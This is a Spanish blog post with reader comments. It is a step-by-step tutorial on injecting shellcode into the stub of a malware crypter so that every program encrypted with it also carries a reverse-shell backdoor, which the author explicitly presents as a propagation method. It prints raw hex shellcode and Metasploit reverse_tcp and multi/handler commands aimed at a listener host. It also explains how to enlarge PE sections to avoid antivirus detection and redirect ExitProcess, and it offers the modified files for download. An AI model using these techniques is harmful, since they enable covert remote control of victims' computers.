sábado, 26 de abril de 2014

Injerto de una ShellCode en el Stub de un Crypter

Tengo un problema, posiblemente este debería formar parte de mi currículum de igual manera que forma parte de mi vida. Para no alarmar demasiado a los lectores, les contaré de qué se trata. Pues bien, tengo la necesidad de forma constante de realizar cosas nuevas, la seguridad informática es algo que me encanta, todos tenemos nuestros hobbies. Posiblemente en mi vida tenga cosas que me complacen más o menos, salir al campo, emborracharme, escuchar música… lo que todos los jóvenes de hoy en día, con mayor o menor frecuencia realizan. Algunas cosas me llenan más, otras menos, y cuando me aburro siempre encuentro la alternativa para realizar otra cosa que sencillamente me hace feliz. Es por eso, que llevo tanto sin escribir en el blog, he encontrado otras cosas que me hacen disfrutar y seguir aprendiendo en otros ámbitos, no obstante a veces, añoro cosas que hacía y por eso hoy me tenéis enelpc, bueno… eso! y porque hace un frío que te cagas! Y prefiero hacer algo en casita brbrbrbrrrr

Se me ha ocurrido la idea, de que sería divertida una entrada sobre cómo realizar un injerto en una sección ejecutable de cualquier aplicación, que de alguna manera realizase la ejecución de una ShellCode para tomar el control del equipo donde esta se ejecuta. Evolucionando un poco la idea, ¿Por qué no…? Sería la ostia, incluir la shellcode en el stub de un crypter, para que todas las aplicaciones (normalmente malware) que sean cifradas por el mismo, se lleven un regalito y podamos utilizar esto como método de propagación de mi backdoor.

La primera shellcode que utilicé para realizar el POC, no era más que un MessageBox funcional para prácticamente todas las versiones de Microsoft Windows:

31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e084578697475e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879746501686b656e42682042726f89e1fe490b31c05150ffd7

Una vez que vi mi idea funcionando, pasé a una shellcode de Metasploit ¿Cómo no? Una reverse TCP, de tipo stage con la conexión y el resto de funcionalidades.

use windows/shell/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.103
generate

Como nota importante, existen conversores de ShellCode to Assembly para poder echarle el ojo sin perder demasiadas neuronas.

Para poder utilizar la ShellCode más adelante, ya que por defecto Metasploit la devuelve en formato de lenguaje C, he realizado la limpieza de todas las “\x” para insertarla más adelante.

Lo que queremos inyectar ya lo tenemos preparado, el próximo paso sería hacernos el hueco sobre el ejecutable donde vamos a realizar el injerto de código. Para ello, he decidido que puede resultar más didáctico no utilizar Topo ni herramientas que nos digan donde hay un hueco, sino que el objetivo será el de ampliar la sección ejecutable CODE o en otros casos text, para incluir nuestro código. Por otro lado, evitaremos detecciones antivirus por la creación de nuevas secciones sobre el ejecutable y cosas similares. Utilizaremos LordPE para ver donde se encuentra el inicio de la siguiente sección DATA.

“PE Editor > Stub.exe > Sections”

4600 hex es la dirección donde empieza la sección DATA, con lo que la sección CODE contiene un hueco desde ese Offset hasta el final de la misma. En este caso vamos a ampliar ese hueco para que entre una shellcode grande.

Nos dirigimos a un editor hexadecimal, yo en mi caso siempre suelo utilizar Hex WorkShop aunque tenéis WinHex gratuito para estas cosas también. Control+G y accedemos al formulario de búsqueda, con el cual podemos llegar hasta el Offset 4600 hex.

Para saber la cantidad de Offsets a incluir, abriremos LordPE y seleccionaremos el Stub.exe del Crypter con el botón de PE Editor para apuntar el valor de FileAlignment. El número de Bytes a incluir es importante, ya que debe de ser múltiplo de este valor del ejecutable.

200 * 3 = 600

Botón derecho Insert Bytes para incluir 600 Bytes más a la sección CODE.

Después de esta acción,  el ejecutable Stub.exe queda totalmente roto, ya que hemos incluido 600 Bytes anulando el resto de punteros que apuntan a las posiciones del resto de secciones PE.

Nos dirigimos a las secciones y sobre la sección CODE, presionamos con el botón derecho sobre “Edit Section Header”.

Vamos a empezar con el alineamiento, con lo que será necesario en este caso realizar lo siguiente:

Es necesario incrementar los valores de VirtualSize y RawSize con lo que hay que sumarles la cantidad en bytes que hemos incluido anteriormente, 600 bytes.

VirtualSize =  40A4 + 600 = 46A4
RawSize =  4200 + 600 = 4800

Para el resto de secciones, hay que modificar tanto el VirtualAddress como el PointerToRawData. En nuestro caso tras sumar el VirtualAdress y SizeOfRawData de la sección CODE, no superamos el valor contenido en el VirtualAddress de la siguiente sección, con lo que al no pisarla, no es necesario llevar a cabo su modificación. Por otro lado, sí será necesaria la modificación del PointerToRawData del resto de secciones siguientes, sumando el valor contenido en Raw Offset y SizeOfRawData de la sección anterior. De tal manera que quede así.

Tras guardar los cambios, abrimos el Stub.exe con OllyDbg y buscaremos en hexadecimal varias instrucciones NOOP, para dar con la dirección virtual donde se encuentra el hueco que hicimos con el editor para realizar el injerto.

Copiamos la ShellCode que limpiamos anteriormente en la tercera imagen de este artículo y la pegamos seleccionando un gran número de instrucciones NOOP de forma binaria.

Quedará de la siguiente manera incluida dentro del Stub.exe.

Será necesario redireccionar el flujo de ejecución a nuestro injerto, con lo que he preferido suplantar una función, para que se ejecute nuestro código inyectado. Con lo que podemos realizar con botón derecho click sobre “All intermodular calls”.

El Stub.exe realizará la llamada a Kernel32.ExitProcess cuando finalice su ejecución, con lo que podemos utilizarlo para cambiar el flujo. Tecla Enter sobre el CALL o botón derecho para visualizar el código desensamblado.

Incluimos una instrucción de salto largo JMP para llegar hasta la dirección de memoria donde hemos realizado el injerto (10005200). Ya tenemos la redirección.

Copiaremos las modificaciones sobre nuestro Stub.exe, con “Copy to executable > All modifications > Save”.

Estoy nervioso, estoy nervioso, aaaaaaaaaaah! Jajaja

El Crypter que he utilizado para la prueba de concepto es OP Crypter, el cual compilé hace un tiempo para realizar HackShield Pro K.O. EnelDLL Injector y la entrada en la cual cifraba malware de forma manual. Ya que es un Crypter en Delphi, Open Source y funciona en versiones nuevas de Windows he decidido seguir utilizándolo.

 

La siguiente imagen muestra, como se cifra un malware de prueba… con OP Crypter y el Stub.exe con Backdoor de regalito.


Nuevamente me sale el conejito, parece que vaya por ahí buscando conejitos…!!


Utilizaremos el Multi Handler de Metasploit para ponernos a la escucha antes de ejecutar el Malware.exe cifrado con mi Stub.

use multi/handler
set payload windows/shell/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.103
exploit

Doble clic sobre Malware.exe, este es abierto y a la derecha vemos como el injerto con la ShellCode nos devuelve acceso a la consola de Windows… Ya te digo! =)

 

He subido los archivos de la carpeta Delphi Crypter, para que puedan jugar con ellos a este enlace.

Pass: 4n0nym0us

Por otro lado aprovecho para contarles que ando con el desarrollo de la próxima versión de ParameterFuzz, si alguien desea hacerle un testeo estaré muy agradecido, ya que he incorporado nuevas funcionalidades y cambios importantes que espero sean de su agrado… yo me siento muy feliz de tener un proyecto y poder compartirlo con todos vosotros.

 

¿Quién les asegura que ParameterFuzz no tenga una shellcode escondida? Naaaa!!

 

Saludos 4n4les! ;)

10 comentarios:

  1. un video tutorial no estaria nada mal bro desde EE.UU

    ResponderEliminar
  2. Me ha encantado la entrada, como siempre. No estaría mal que hicieras un video porque me he perdido a mitad xD.

    Saludos!!

    ResponderEliminar
  3. Muchas gracias! la verdad que para hacer un vídeo lo haría explicando otro tema por no ser repetitivo, me lo pensaré la próxima vez cuando toque algo delicado. Posiblemente la parte más tediosa sea en la que explico la alineación de las secciones, como optativa siempre podéis probar a crear una sección nueva o utilizar herramientas automatizadas para estas tareas.

    Saludos!

    ResponderEliminar
  4. Un post, genial y muy interesante eres un master.

    ResponderEliminar
  5. Muy buena ! pero estaría bien lo de un vídeo c: Gracias !

    ResponderEliminar
  6. Puedes publicar el codigo shellcode que has utilizado en ensamblador?? gracias

    ResponderEliminar
  7. lo estoy analizando y veo que le has dado unas cuantas vueltas a la cabeza,eso me hace pensar tambien a mi,nuchas gracias german por tus trabajos...

    ResponderEliminar